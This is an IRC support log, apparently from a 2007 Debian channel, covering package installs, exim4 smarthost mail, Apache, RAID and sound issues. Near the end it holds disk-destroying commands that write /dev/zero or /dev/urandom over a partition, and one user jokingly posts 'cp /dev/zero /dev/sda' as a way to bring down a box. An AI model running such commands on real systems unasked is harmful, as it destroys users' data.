| 15:31.26 | Haris | hmm.. |
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| 15:31.39 | Haris | \amethyst: How do I get it? |
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| 15:31.44 | azeem | !installit |
| 15:31.44 | dpkg | *** NEWS FLASH! *** Your box does not come with every app, tool and utility known to debiankind installed already. If you find that the program you've been told to use isn't there, install it. Also ask me about <search>. if someone suggests an application to you, it's highly likely that it's available via apt-get |
| 15:32.10 | \amethyst | Haris: aptitude (or apt-get) install gpm |
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| 15:33.52 | Haris | I need to give it 2 netmask lines for once interface? |
| 15:34.00 | Haris | \amethyst: Thankyou |
| 15:34.05 | Haris | once=one |
| 15:34.17 | Haris | wth? |
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| 15:34.27 | stew | Haris: why do you need two netmask lines? why not just hte larger one? |
| 15:35.20 | fantomas | Hi. A guy having Intel Corporation Mobile 915GM/GMS/910GML Express VGA in his laptop and is asking are there drivers for Linux? Does anybody know? |
| 15:35.51 | stew | fantomas: yes, debian ships a driver for that card |
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| 15:36.06 | fantomas | stew: nice, thanks |
| 15:36.22 | stew | fantomas: and it is very well supported |
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| 15:36.31 | cr3 | how can I purge debconf variables which were set by debconf-set-selections or dpkg -i? |
| 15:37.17 | Haris | stew: Its not me, its what the INSTALLER put there |
| 15:37.29 | Haris | Wierd! way debian configures interfaces |
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| 15:37.33 | stew | Haris: show us your interfaces file ; use a pastebin: /msg dpkg pastebin |
| 15:37.41 | Axz | yhow to use aptitude to purge everything that starts with kde* |
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| 15:37.59 | stew | Axz: aptitude purge 'kde*' |
| 15:38.10 | amirf_ | hi, how can i make an alias for " ls -l = foo" ? |
| 15:38.21 | Axz | stew, dosent work here |
| 15:38.26 | Axz | i ment like a regex |
| 15:38.28 | Axz | wildcard |
| 15:38.38 | stew | Axz: show us the actual command you typed and the actual output, use a pastebin: /msg dpkg pastebin |
| 15:39.00 | Axz | aptitude purge 'kde*' |
| 15:39.01 | PythonNinja | amirf_: echo "alias 'ls -l'=foo" >> .bashrc |
| 15:39.05 | Axz | just as you pasted |
| 15:39.06 | PythonNinja | wait |
| 15:39.12 | PythonNinja | amirf_: echo "alias 'ls -l'=foo" >> ~/.bashrc |
| 15:39.50 | amirf_ | PythonNinja: 10x |
| 15:39.54 | Haris | Ok, interfaces are u |
| 15:39.56 | Haris | up+ |
| 15:40.14 | PythonNinja | amirf_: 10x ? |
| 15:40.19 | Haris | does debian come with sshd enabled out of the box? Does it accept connections from the internet? |
| 15:40.32 | PythonNinja | nope |
| 15:40.38 | Haris | :| |
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| 15:40.44 | Haris | pice of ...>@#$@#$ |
| 15:40.47 | PythonNinja | apt-get install openssh=server |
| 15:40.48 | Haris | pice+ |
| 15:40.51 | PythonNinja | lol |
| 15:40.53 | Axz | stew, i ment everything that starts with kde |
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| 15:41.11 | Ranpha1 | somebody tried openarena on debian etch with beryl on? |
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| 15:41.26 | Axz | that matches kde |
| 15:41.30 | blkh4wk | what debian package do i have to install to support ldap when i'm compiling apache 2 |
| 15:41.36 | azeem | Ranpha1: black screen? |
| 15:41.45 | stew | Axz: try aptitude purge '~n^kde' |
| 15:41.45 | azeem | blkh4wk: apt-get build-dep --arch-only apache2 |
| 15:42.11 | azeem | that syntax is ugh |
| 15:42.13 | stew | amirf_: you are wanting it so that when you type "ls -l" it actually runs "foo" instead of ls? |
| 15:42.18 | Axz | what does ~n mean |
| 15:42.30 | stew | Axz: match package name |
| 15:42.49 | Haris | debian uses OBSD's sshd? |
| 15:42.57 | xano | Hi I currently have this date: Mon Oct 8 17:42:04 EDT 2007, however, I'm located in Belgium/Holland so I think I need the CET timezone? How can I adjust this in debian? |
| 15:42.58 | Axz | thanks |
| 15:43.24 | azeem | Haris: it uses openssh, yes |
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| 15:43.44 | azeem | Haris: there's other ssh/sshd implementation as well in debian, though |
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| 15:44.26 | Haris | azeem: Which oen? |
| 15:44.29 | xano | Hi I currently have this date: Mon Oct 8 17:42:04 EDT 2007, however, I'm located in Belgium/Holland, I will need the CET timezone. How can I adjust this in debian? |
| 15:44.34 | Haris | at least the OS and basic sshd is done |
| 15:44.34 | azeem | Haris: lsh, I think |
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| 15:44.39 | azeem | done? |
| 15:44.44 | Ranpha1 | azeem: black screen and then GDM is rebooted and i'm back and the login screen |
| 15:44.48 | Haris | Now I can do the rest easily |
| 15:44.51 | blkh4wk | azeem: does that install ldap support for apache 2 even if i'm compiling apache 2 from source |
| 15:44.53 | Haris | remotely+ |
| 15:45.08 | azeem | Ranpha1: I think it's a known issue that full-screen opengl apps don't work with compiz/beryl |
| 15:45.15 | Haris | I have Qs regarding its use/implementation of RAID as well |
| 15:45.31 | Ranpha1 | azeem : oh.....do you know how to get it windowed??? |
| 15:45.36 | azeem | no |
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| 15:46.28 | Dewi | how would I test an arithmetic expression with bash? |
| 15:46.34 | Dewi | 'expr' seems like it should be useful, but it's noisy |
| 15:46.45 | Dewi | am I meant to pipe 'if' to /dev/null or something? |
| 15:47.02 | Ranpha1 | thanks anyway |
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| 15:48.15 | \amethyst | Dewi: in bash you can use if (( x > 32 )); then ... |
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| 15:49.10 | Dewi | \amethyst: doesn't seem to work with 'match' |
| 15:49.20 | tuxetch | im at the end... im trying to get XGL on etch working, since 2 days now. anyone got an link with informations, i dont have yet? big thank in advance..... !! |
| 15:49.23 | Dewi | \amethyst: I'm trying to test whether a string starts with another string |
| 15:49.41 | \amethyst | Dewi: (( )) is arithmetic only |
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| 15:50.27 | stew | Dewi: that is covered inthe bash faq: /msg dpkg bashfaq |
| 15:50.30 | Dewi | I'm never even going to find 'match' in the man page |
| 15:50.43 | \amethyst | Dewi: you want if [[ var1 = $var2* ]] |
| 15:50.49 | \amethyst | Dewi: what do you mean by 'match'? |
| 15:51.02 | Dewi | \amethyst: it works in 'test' |
| 15:51.17 | Dewi | oops I mean expr |
| 15:51.30 | \amethyst | Dewi: expr isn't bash |
| 15:51.40 | Dewi | \amethyst: cool |
| 15:52.06 | tuxetch | in which rep i can find "xserver-xgl" ? |
| 15:52.09 | Dewi | \amethyst: it's all google turns up for me |
| 15:52.20 | albert1 | Dewi: grep -e ? |
| 15:52.25 | \amethyst | Dewi: [[ ]] also supports =~ for regexp matching ( = does string matching with wildcards on the RHS) |
| 15:52.44 | alevine | does anyone know if it is possible to use strace -c with -p? |
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| 15:53.15 | dererk | lol -> http://www.thinkgeek.com/tshirts/generic/991e/?cpg=cj |
| 15:53.20 | \amethyst | Dewi: read the bash faq as stew suggested, it's extremely informative |
| 15:53.28 | tmccrary | How do you add multiple search domains to resolv.conf? |
| 15:53.51 | \amethyst | tmccrary: man resolv.conf |
| 15:54.11 | \amethyst | tmccrary: search foo.com bar.com |
| 15:54.19 | tmccrary | awesome, thanks! :) |
| 15:54.21 | Dewi | \amethyst: it's not much more navigable than 'man bash' |
| 15:54.23 | \amethyst | tmccrary: maximum of six domains |
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| 15:55.08 | albert1 | Dewi: man grep |
| 15:55.39 | Dewi | albert1: since most tokens meaningful to bash are commonplace letters and symbols less than 3 chars in length, grep is useless |
| 15:55.58 | Dewi | $ man bash | grep if | wc -l |
| 15:56.01 | Dewi | 431 |
| 15:56.52 | Ranpha1 | gringo |
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| 15:57.32 | tuxetch | zu 2: beitrag kenne ich, keine antwort enthalten wo ich xserver-xgl herbekomme |
| 15:57.36 | tuxetch | in which rep i can find "xserver-xgl" ? |
| 15:58.03 | wols_ | not in debian |
| 15:58.33 | wols_ | !xgl |
| 15:58.34 | dpkg | extra, extra, read all about it, xgl is the X server architecture layered on top of OpenGL and takes advantage of available accelerated 3D rendering hardware. It is designed to integrate well with the composite extension and performs best when a compositing manager is running. Ask me about "compiz" and "xgl-howto", or see see http://wiki.debian.org/Xgl |
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| 15:59.21 | stew | tuxetch: why do you want xgl? is there some reason you can't use aiglx? |
| 15:59.23 | azeem | dpkg: xgl is also deprecated and unsupported |
| 15:59.23 | dpkg | azeem: okay |
| 16:00.08 | albert1 | ok, here is the request for the openlierox deb-package: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=445850 |
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| 16:04.24 | Ranpha1 | azeem even winecfg gave a black screen :-) |
| 16:04.59 | spq | how can i define which ip is used for outgoing connections? (i have one ip like 10.1.1.1 and some aliases like 10.1.1.10-20 and i want outgoing packets to be bound to ip 10.1.1.20, if not otherwise specified) |
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| 16:05.51 | stew | spq: by default its going to get the first ip on the interface |
| 16:05.56 | tuxetch | stew cause most people say that XGL brings much more performance than aiglx |
| 16:06.06 | tuxetch | stew and i believe them :D |
| 16:06.10 | petemc | stew: my experience is it will use the last one added |
| 16:07.01 | stew | petemc: not in mine |
| 16:07.09 | tuxetch | stew dont you agree? |
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| 16:07.30 | stew | tuxetch: i don't know. since XGL still hasn't been released, it was never included in debian. |
| 16:07.36 | spq | stew, so if the route says go throu eth0, it uses the ip of eth0? |
| 16:08.01 | spq | stew, is there a way to hange this behaviour? |
| 16:08.28 | stew | spq: i don't think so. why cant you make 10.1.1.20 be the primary ip address of eth0 if that is the one you want to be used by default |
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| 16:09.01 | spq | hmm |
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| 16:09.40 | utopia_ | is there a tool for Linux* OSe's that can let you create your own icons(bar the gimp) |
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| 16:10.31 | wols_ | utopia_: "icons" is a quite elastic term |
| 16:10.40 | beardy | utopia_: What's wrong with the gimp? Any drawing program. |
| 16:10.44 | wols_ | some use pngs, some use any bitmap graphics, some use svg, etc |
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| 16:11.09 | utopia_ | wols_, im not fussy |
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| 16:12.06 | chiiph_ | hi you all, im having some troubles with the kernel, i have 2.6.18, and i wanna upgrade to 2.6.21... but i cant... |
| 16:12.11 | \amethyst | utopia_: what do you want that's not provided by the gimp? simplicity? |
| 16:12.26 | utopia_ | \amethyst, yeah simplicity |
| 16:12.35 | utopia_ | the gimp is a nightmare to work with |
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| 16:12.41 | themill | chiiph_: do you have an error message we can work with? |
| 16:12.58 | stew | chiiph_: are you using backports.org? |
| 16:13.07 | chiiph_ | themill: backports? |
| 16:13.15 | stew | !bpo |
| 16:13.15 | dpkg | hmm... backports.org is an unofficial repository of backports for the current stable distribution, prepared by Debian developers. Read http://backports.org/dokuwiki/doku.php?id=instructions ask me about <backports>. A sample line for your sources.list is: deb http://www.backports.org/debian etch-backports main contrib non-free |
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| 16:13.30 | beardy | utopia_: It really isn't. But have a look at tuxpaint or what they all might be called then. |
| 16:14.07 | petemc | tuxpaint is very, very limited |
| 16:14.11 | utopia_ | thanks for the info beardy |
| 16:14.25 | beardy | Yes, but he seemed to want that. |
| 16:14.29 | \amethyst | utopia_: xpaint, also, though it has a rather old-fashioned X interface |
| 16:15.02 | utopia_ | thanks |
| 16:15.08 | utopia_ | i'm going to give tuxpaint a go :) |
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| 16:19.06 | blkh4wk | how do i install authnz_ldap module for apache 2 on debian |
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| 16:22.28 | themill | !tell someguy87 about root |
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| 16:23.12 | SpeedyG | lol |
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| 16:23.54 | themill | takahiro: that's better :) |
| 16:24.09 | takahiro | hi how do i setup my debian box to send out mail? |
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| 16:24.32 | wols_ | by installing a MTA and configuring it |
| 16:24.46 | wols_ | debian does both by default |
| 16:24.51 | Bry2k200 | anyone have a link for debian sid cd? |
| 16:24.59 | wols_ | Bry2k200: does not exist |
| 16:25.02 | themill | Bry2k200: there aren't any |
| 16:25.02 | takahiro | wols_: it doesn't seem to be working |
| 16:25.06 | Bry2k200 | didn't think so |
| 16:25.07 | Bry2k200 | :/ |
| 16:25.13 | themill | !tell Bry2k200 about lenny netinstall |
| 16:25.13 | wols_ | !tell takahiro about doesn't work |
| 16:26.02 | takahiro | wols_: when i try to send out mail using 'mutt', i don't seem to get any errors, but the mail never goes to the recipient either. |
| 16:26.20 | Bry2k200 | •themill• so i install lenny and convert to sid? |
| 16:26.25 | wols_ | takahiro: check your logfiles |
| 16:26.37 | wols_ | Bry2k200: or stable and upgrade to sid |
| 16:26.52 | themill | Bry2k200: yes, but if you have to ask that, then you probably shouldn't be running sid at all. |
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| 16:27.13 | takahiro | Oct 8 04:33:01 debian sa-exim[7279]: Removed 0 of 0 greylist tuplets in 0 seconds |
| 16:27.16 | takahiro | Oct 8 04:33:01 debian sa-exim[7279]: Removed 0 of 0 greylist directories in 0 seconds |
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| 16:27.27 | Bry2k200 | i'm sure i can figure it out themill |
| 16:27.28 | wols_ | !tell takahiro about paste |
| 16:27.33 | Bry2k200 | :D |
| 16:27.39 | wols_ | Bry2k200: we're pretty sure you can't ;) |
| 16:27.45 | Bry2k200 | lol |
| 16:27.49 | Bry2k200 | i run gentoo as well |
| 16:27.52 | merc_work | im havingt a little trouble hunting down information about RAID on an asus p5b-plus board -- are there any nice resources/howtos about hardware raid with debian? |
| 16:27.53 | Bry2k200 | i'm not new to this |
| 16:27.57 | wols_ | and? |
| 16:28.00 | takahiro | i don't see anything in the mail log files that can help me |
| 16:28.11 | wols_ | merc_work: this is not hardware raid |
| 16:28.12 | themill | Bry2k200: we don't usually give a lot of support for sid here, we can't. _When_ it breaks, you get to keep both pieces. |
| 16:28.19 | wols_ | !unstable |
| 16:28.19 | dpkg | it has been said that unstable is the status of a Debian release when packages can be added to the system at any time that might disrupt the integrity of the whole system! Ask me about <break>. not supported here, in general. It's also newspeak for not stable. If you have to ask whether you should use it or how, you shouldn't. apt-get install apt-listbugs (!) See <testing>, <sid>, <sid faq>. |
| 16:28.26 | merc_work | wols_: intel matrix 'raid' is not really hardware raid? |
| 16:28.42 | Bry2k200 | hrmm |
| 16:28.47 | merc_work | those bastards. |
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| 16:28.50 | wols_ | merc_work: it's fakeraid. unless you buy a workstation class mobo NO raid on a mobo is hardware raid |
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| 16:28.57 | takahiro | do I need to have a mail server in order to run a mail server? |
| 16:28.58 | wols_ | !fakeraid |
| 16:28.58 | dpkg | [fakeraid] Term used for controller cards that advertise raid functionality that is NOT supported by a hardware chip for parity. Most of these have only a bios ... if you use them with Debian it's suggested that you don't set a raid in the bios and don't use dmraid, just use regular software raid (md). |
| 16:29.10 | wols_ | takahiro: parse error. please restate |
| 16:29.21 | merc_work | wols_: well, its a pretty expensive motherboard..i would expect it to be real hardware raid |
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| 16:29.37 | wols_ | merc_work: it's a consumer POS. no hardware raid |
| 16:29.43 | merc_work | bah |
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| 16:29.48 | merc_work | so how do i set it up in the installer? |
| 16:29.52 | tmccrary | raid cards are cheap anyway |
| 16:29.54 | merc_work | just google software raid debian eh? |
| 16:30.00 | takahiro | what is the difference between a MTA and a mail server? |
| 16:30.07 | merc_work | we have a raid card.. |
| 16:30.11 | tmccrary | an MTA actually sends mail |
| 16:30.12 | merc_work | wonder if we should try it out. |
| 16:30.15 | wols_ | merc_work: expensive mobo starts at 300USD or so for an entry mobo and usually usues server CPUs |
| 16:30.19 | tmccrary | Something like postfix, qmail, etc |
| 16:30.34 | takahiro | do i need to have a mail server in order to send out emails, but not receive them? |
| 16:30.46 | stew | takahiro: "mail server" just a less specific term |
| 16:30.50 | wols_ | takahiro: no. if you only want to send, use something like ssmtp |
| 16:31.03 | merc_work | wols_: ok, so, set this up with software raid, im assuming there's a nice howto out there eh |
| 16:31.04 | wols_ | exim4, the default in debian can send and receive both |
| 16:31.06 | stew | takahiro: to send out mails you need an MTA (main Transfer agent) |
| 16:31.20 | takahiro | ok |
| 16:31.25 | wols_ | merc_work: debian already does it right from the installer. read the relase notes |
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| 16:31.37 | stew | takahiro: try starting with "dpkg-reconfigure exim4-config" |
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| 16:31.49 | merc_work | wols_: ok, the drives still all show up as seperate, but, i shall read the release notes :) |
| 16:31.56 | chiiph_ | i still can upgrade the kernel to 2.6.21 cause it doesnt seems to appear in my repository... |
| 16:32.05 | stew | merc_work: is there data on the drives in an array that you wish to retain? |
| 16:32.11 | wols_ | chiiph_: it is in backports. stable doesn't have it |
| 16:32.24 | wols_ | chiiph_: follow the link stew gave you |
| 16:32.24 | merc_work | stew: nope |
| 16:33.10 | HardDisk_WP | does anyone know a program where I type in a mathematical formula like y=ax²+bx+c and it plots me the graph? |
| 16:33.16 | stew | merc_work: then yes, we'd recommend ignoring the "raid" on the card and using linux software raid. the debian-installer will set this up for you as an option |
| 16:33.23 | chiiph_ | wols_ i did... but im lost LoL-... |
| 16:33.37 | stew | chiiph_: did you read the "Instructions" link on backports.org ? |
| 16:33.37 | merc_work | stew: oh, cool, thanks |
| 16:33.38 | wols_ | HardDisk_WP: gnuplot ? |
| 16:33.47 | lyakh | hi, set up cups with a np color LJ 1600 on ppc etch before - no problem. Now trying the same also with etch on a pc - and it says: http://pastebin.com/d170d7298 |
| 16:33.48 | HardDisk_WP | it supports that? *trying* |
| 16:33.55 | takahiro | stew: thanks |
| 16:33.57 | themill | chiiph_: can you please pastebin your sources.list |
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| 16:34.15 | themill | !tell chiiph_ about paste |
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| 16:35.17 | HardDisk_WP | wols_, eh...is there anything more user-friendly? |
| 16:35.34 | wols_ | mathematica? (not in debian) |
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| 16:36.03 | HardDisk_WP | I used to use Derive...but I lost the program directory |
| 16:36.08 | lyakh | s/np/hp/ |
| 16:36.31 | stew | HardDisk_WP: you might ask in #math about what free software alternatives to mathematica will do what you want |
| 16:36.33 | takahiro | when i tried to send out mails, it says: "Mailing to remote domains not supported" |
| 16:36.34 | cydork | HardDisk_WP: octave? |
| 16:36.51 | stew | takahiro: dpkg-reconfigure exim4-config |
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| 16:37.49 | stew | takahiro: if you only need outgoing and not incoming, and if your isp provides a smarthost, it might be easiest to configure exim4 to use it |
| 16:39.30 | takahiro | 2007-10-08 09:38:56 1Ieva6-0002WP-Rs gmail-smtp-in.l.google.com [209.85.199.114] Connection timed out |
| 16:39.57 | themill | takahiro: is google your isp? |
| 16:40.05 | takahiro | nope |
| 16:40.13 | stew | takahiro: i would guess then that your isp is actually blocking outgoing smtp connections and you actually MUST use their smarthost |
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| 16:41.02 | themill | takahiro: from your /whois, try smtp.comcast.net |
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| 16:41.19 | takahiro | oh i see |
| 16:41.45 | themill | :) |
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| 16:42.41 | themill | takahiro: from the comcast faq that I read, you may need to set up smtp auth submission too. |
| 16:43.22 | takahiro | themill: oh hmm i guess this is a bigger pain than i thought |
| 16:44.32 | themill | takahiro: it's _fairly_ straightforward to set up smtp auth with your mta |
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| 16:47.35 | takahiro | themill: will i be able to mail to and from my domain? dev.thorie.com |
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| 16:48.53 | themill | takahiro: you should be able to send mail claiming to be from that domain without any problems. Comcast is unlikely to allow you to run a mail server that receives mail to that domain within your private network. |
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| 16:49.10 | takahiro | ah ok |
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| 16:50.24 | takahiro | im reading how to setup basic SMTP AUTH in exim4 |
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| 16:52.00 | DevilChaos | ati oneliner! |
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| 16:52.03 | KR-data | has anyone a good guide on howto setup apache2 with virtual hosts? |
| 16:52.17 | DevilChaos | !ati oneliner |
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| 16:52.38 | DevilChaos | someone give me the oneliner for ati setup please? |
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| 16:52.48 | azeem | DevilChaos: please /msg the bot |
| 16:52.50 | themill | !tell DevilChaos about fglrx oneliner |
| 16:52.55 | DevilChaos | cheers |
| 16:53.37 | stew | KR-data: add one file per virtual host to /etc/apache2/sites-available/sitename ; the enable or disable a site with 'a2ensite sitename' or 'a2dissite sitename' |
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| 16:54.14 | KR-data | stew, so far I have found by searching, but the configs I make won't work :( |
| 16:54.57 | themill | KR-data: "won't work" doesn't help much. Can you give more details? |
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| 16:55.43 | KR-data | themill, http://alexandra.rohdef.dk/ I get a permission denied (I'll make a pastebin with the config-files, two secs |
| 16:56.25 | streuner__ | !paste |
| 16:56.25 | dpkg | Do not paste more than 3 lines to this channel. Instead, use: http://channels.debian.net/paste/ or http://rafb.net/paste/ or http://picpaste.com for pics. |
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| 16:59.09 | KR-data | themill, http://pastebin.com/d5b36bfc9 |
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| 17:01.06 | themill | KR-data: you aren't enabling Indexes for / |
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| 17:07.26 | stew | KR-data: /var/log/apache2/error.log should give you more info |
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| 17:07.38 | sanova | http://paste.debian.net/39127 |
| 17:07.41 | sanova | eccolo |
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| 17:09.57 | DJ-Marcuzz | hello |
| 17:10.07 | stew | squisher: what does "head -1 debian/patches/03_real-trasparency.dpatch" return? |
| 17:10.32 | DJ-Marcuzz | why is the time on my debian server exactly 2 hours behind my time on my windows maschine, and it has the right timezone set :-/ |
| 17:10.36 | squisher | stew: ?? I think you got the wrong autocomplete :) |
| 17:10.52 | stew | sanova: what does "head -1 debian/patches/03_real-trasparency.dpatch" return? |
| 17:10.57 | stew | squisher: sorry :) |
| 17:11.15 | stew | DJ-Marcuzz: is your timezeone two hours different than UTC? |
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| 17:11.30 | nico__ | hello |
| 17:11.31 | DJ-Marcuzz | stew, that could be yes |
| 17:11.41 | stew | DJ-Marcuzz: change the UTC setting in /etc/default/rcS |
| 17:11.45 | squisher | stew: np :) I was just a bit surprised because I had _just_ entered the channel |
| 17:11.54 | takahiro | ok i think im getting closer but i got this error message now... 2007-10-08 10:11:12 1Iew8O-0002u6-2q ** root@dev.thorie.com R=smarthost T=remote_smtp_smarthost: SMTP error from remote mail server after MAIL FROM:<> SIZE=2504: host smtp.comcast.net [204.127.192.17]: 530 Authentication required |
| 17:12.22 | stew | takahiro: do you know your username and password for smtp.comcast.net? |
| 17:12.27 | takahiro | stew: yes |
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| 17:12.39 | sanova | sorry, |
| 17:12.42 | takahiro | stew: just don't know where to provide it |
| 17:12.59 | nico__ | anyone ever had sound distortion on a macbook and solved the problem? I tried 'position_fix=1' in alsa-base but it doesn't seem to solve the problem :-/ |
| 17:13.06 | sanova | i supposed this is italian channel :P |
| 17:13.08 | squisher | So I did a dist-upgrade yesterday on my unstable system, and today sound is all gone. |
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| 17:13.42 | stew | takahiro: i dont' either. i figured it would have been asked for in 'dpkg-reconfigure exim4-config' but it isn't |
| 17:13.46 | Lycus | I can't figure-out how to get mod_rewrite to work for the life of me =/ |
| 17:13.54 | DJ-Marcuzz | stew, to what? |
| 17:13.54 | stew | squisher: /msg dpkg alsa checklist |
| 17:14.15 | squisher | stew: thanks |
| 17:14.20 | stew | DJ-Marcuzz: to no |
| 17:14.28 | stew | Lycus: a2enmod rewrite |
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| 17:15.03 | Lycus | stew: Yeah, but I am lost from there :-P |
| 17:15.26 | stew | Lycus: no errors, it just isn't rewriting? |
| 17:15.27 | takahiro | stew: found it /etc/exim4/passwd.client |
| 17:15.53 | Lycus | I'm not sure what to do - I want to make domain.net/~uname/ be domain.net/uname/ |
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| 17:16.09 | stew | Lycus: you don't need to use modrewrite for that, just Alias |
| 17:16.18 | Lycus | Alias? |
| 17:16.21 | themill | takahiro: http://wiki.debian.org/GmailAndExim4 |
| 17:16.23 | stew | Lycus: yes, alias |
| 17:16.28 | DJ-Marcuzz | thx stew |
| 17:16.32 | squisher | Lycus: look at the apache2 docs... I think they have pretty good examples in there |
| 17:16.39 | takahiro | yay i got mail! |
| 17:16.44 | takahiro | LoL :-) |
| 17:16.47 | squisher | stew: Lycus might want it for more than one username. |
| 17:16.49 | themill | takahiro: well done ;) |
| 17:16.58 | Lycus | squisher: ja |
| 17:17.13 | stew | Lycus: oh, yeah, then mod_rewrite |
| 17:17.23 | takahiro | my gmail account just got flooded by 50 test e-mails i sent out from my linux box |
| 17:17.26 | Lycus | But I can set it manually, it's no big deal |
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| 17:17.54 | Lycus | I won't have anymore than ten users or so, tops. |
| 17:17.55 | stew | Lycus: you have written rewrite rules? |
| 17:17.56 | themill | takahiro: that makes you a spammer! naughty! |
| 17:18.01 | squisher | Lycus: in that case stew is right and alias is much easier |
| 17:18.30 | Lycus | stew: No, I tried making a link to a users public_html dir to /var/www/uname but that didn't work |
| 17:20.15 | themill | Lycus: you would probably need to allow symlinks for that to work. |
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| 17:21.37 | takahiro | thanks for your help stew and themill |
| 17:21.52 | squisher | Hm, so my sound card became card 1 after my recent dist-upgrade, while it should be card 0 (no other card is active). Any clue where this is controlled? |
| 17:22.04 | themill | takahiro: no worries (I think stew probably did the hard work though ;) |
| 17:22.22 | stew | !be dpkg-reconfigure exim4-config barbie |
| 17:22.22 | dpkg | dpkg-reconfigure exim4-config is hard! |
| 17:22.32 | stew | Lycus: if you just want "http://domain.com/~user" to view the contents of "/home/user/public_html" then just a2enmod userdir |
| 17:22.42 | themill | stew: :) |
| 17:22.52 | Lycus | stew: I already have that ;-) |
| 17:23.04 | stew | Lycus: you just want to ditch the ~ ? |
| 17:23.07 | Lycus | mhm. |
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| 17:23.42 | cahoot | s/whist/what is/ |
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| 17:23.52 | themill | squisher: is it a modem card in there too? |
| 17:24.03 | lindenle | anybody know a utility to add a larger margin at the top of a ps file for printing? |
| 17:24.05 | squisher | cahoot: no it lists card 1 |
| 17:24.07 | squisher | themill: no modem |
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| 17:24.34 | squisher | cahoot: nope, just a card 1. Before my reboot it used to be card 0.... |
| 17:24.36 | Haris | damned optical mice with double click issues :| |
| 17:24.36 | nico__ | rmmod tells me that the module i'm trying to rm is in use... how can i check what process is using it? |
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| 17:25.41 | squisher | cahoot: yup, just one entry: 1 [Live ]: EMU10K1 - SB Live 5.1 [SB0220] |
| 17:26.20 | Haris | What's the global bashrc file in etch? |
| 17:26.25 | Haris | can't find /etc/bashrc |
| 17:26.25 | cahoot | <PROTECTED> |
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| 17:26.34 | themill | Haris /etc/bash.bashrc |
| 17:26.35 | stew | Haris: http://wiki.debian.org/DotFiles |
| 17:26.49 | squisher | cahoot: ha... that is an interesting point. Yesterday I bought a webcam that has a built-in microphone |
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| 17:27.04 | cahoot | squisher: probably the issue |
| 17:27.12 | Haris | vim_tiny is annoying |
| 17:27.12 | squisher | cahoot: but it's even attached right now, though it doesn't show up in /proc/asound/cards |
| 17:27.21 | Haris | Can I get rid of it and install the real vim? |
| 17:27.31 | stew | Haris: aptitude install vim ; update-alternatives --auto vim |
| 17:27.32 | Haris | or is it the default US keymap? |
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| 17:28.06 | cahoot | squisher: read in /usr/share/doc/alsa how to make the sb always be card0 |
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| 17:28.28 | squisher | cahoot: /usr/share/doc/alsa-base? |
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| 17:30.13 | Haris | I have two Seagate SCSI 36GB drives. During install I specified the partition on the first drive as ext3 and select RAID on the partition for the second. What would debian implement? RAID0 or something else? How would (whichever) raid (that is installed) be implemented? |
| 17:30.15 | cahoot | squisher: right /usr/share/doc/alsa-base/README.debian.. |
| 17:31.12 | squisher | cahoot: any clue why debian doesn't preconfigure usb-audio with index=-2? |
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| 17:31.31 | bloodandsoil | Hi how do I write zeros or random data to a partition? |
| 17:31.35 | MERLiiN | investigating |
| 17:31.49 | cahoot | squisher: I make my usb-audio always index 1 and my sb 0 |
| 17:31.50 | Haris | I have an adaptec hardware RAID on this old branded box |
| 17:32.02 | stew | bloodandsoil: cp /dev/zero /dev/whatever or cp /dev/urandom /dev/whatever ; or man shred |
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| 17:32.15 | cahoot | squisher: to answer your question - no clue |
| 17:32.30 | squisher | cahoot: Hmm, strange. Maybe time to fill a wishlist bugreport |
| 17:32.30 | bloodandsoil | stew: cp not dd? |
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| 17:32.56 | stew | bloodandsoil: yeah, you can use either. cp would like be faster unless you happen to know what block size would be optimal |
| 17:33.04 | squisher | what is succeeding update-modules? It says its deprecated, but what else should I use? |
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| 17:33.14 | stew | squisher: man modprobe.conf |
| 17:33.54 | squisher | stew: so basically modprobe now scans the modprobe.d/ directory by itself then? |
| 17:34.08 | bloodandsoil | I just typed "cp /dev/urandom /dev/sda1" |
| 17:34.22 | squisher | bloodandsoil: I hope not as root ;-) |
| 17:34.26 | bloodandsoil | my hard drive activity light is not really doing much |
| 17:34.39 | geo-rge | ok, I just debootstrapped an etch i386 with 686 xen kernel from an amd64 xen etch |
| 17:34.41 | bloodandsoil | squisher: yes I am root |
| 17:34.54 | bloodandsoil | ok there it goes |
| 17:34.56 | cahoot | don't sync |
| 17:35.01 | bloodandsoil | hard drive activity light |
| 17:35.05 | bloodandsoil | going crazy |
| 17:35.23 | stew | squisher: yes |
| 17:35.25 | Haris | I wonder what urandom will do to his sda |
| 17:35.28 | Haris | sda1+ |
| 17:35.37 | bloodandsoil | Linux is on sda2 |
| 17:35.37 | stew | Haris: it will fill the partition with random data |
| 17:35.52 | bloodandsoil | sweet |
| 17:35.58 | bloodandsoil | hard drive madness |
| 17:35.59 | geo-rge | what do you do after the debootstrap to perfomr the equiv of depmod in the new (not booted into) etch? |
| 17:36.11 | Haris | stew: What an easy way to bring down a box |
| 17:36.15 | Haris | *haha* |
| 17:36.34 | bloodandsoil | Haris: cp /dev/zero /dev/sda |
| 17:36.35 | bloodandsoil | :) |
| 17:36.43 | zeitsofas | hello @ all - i have problems to connect gkrellm client to gkrellmd via gkrellm -s IP (the 2 mashines are in the same LAN) client bring up the follow error message "Broken server connection" gkrellmd is alwasy running on the server - the port for deamon is open (i have checked out with nmap) - i dont have more ideas what is wrong .... can anyone help ? |
| 17:37.13 | bloodandsoil | wow |
| 17:37.35 | bloodandsoil | I am doing a Debian update whilst urandoming my sda1 partition :D |
| 17:37.56 | squisher | bloodandsoil: you'll run out of entropy pretty quickly though, I think |
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| 17:38.08 | bloodandsoil | squisher: ENTROPY? |
| 17:38.16 | stew | squisher: that's why he's using urandom and not random |
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| 17:38.33 | bloodandsoil | stew: what is the diff between urandom and random? |
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| 17:39.13 | squisher | bloodandsoil: entropy is a measurement of randomness |
| 17:39.30 | bloodandsoil | squisher: Yes I know the definitoin of entropy thank you very much. |
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| 17:39.57 | squisher | stew: ha, so that's the difference between random and urandom. Didn't know that |
| 17:39.59 | bloodandsoil | squisher: I was actually wondering how you meant "entropy" in the specific context of GNU/Linux |
| 17:40.00 | stew | bloodandsoil: urandom won't block when you are out of entropy ; man 4 random |
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| 17:40.58 | stew | bloodandsoil: what does "cat /proc/sys/kernel/random/entropy_avail" return? |
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| 17:41.29 | Haris | cifs is not supported out of the box in etc? |
| 17:41.31 | Haris | etch+ |
| 17:41.39 | bloodandsoil | <PROTECTED> |
| 17:41.40 | bloodandsoil | <PROTECTED> |
| 17:41.40 | bloodandsoil | <PROTECTED> |
| 17:41.49 | squisher | bloodandsoil: afaik it means how much pseudo-random data the system can generate without repeating itself |
| 17:41.59 | stew | Haris: it is |
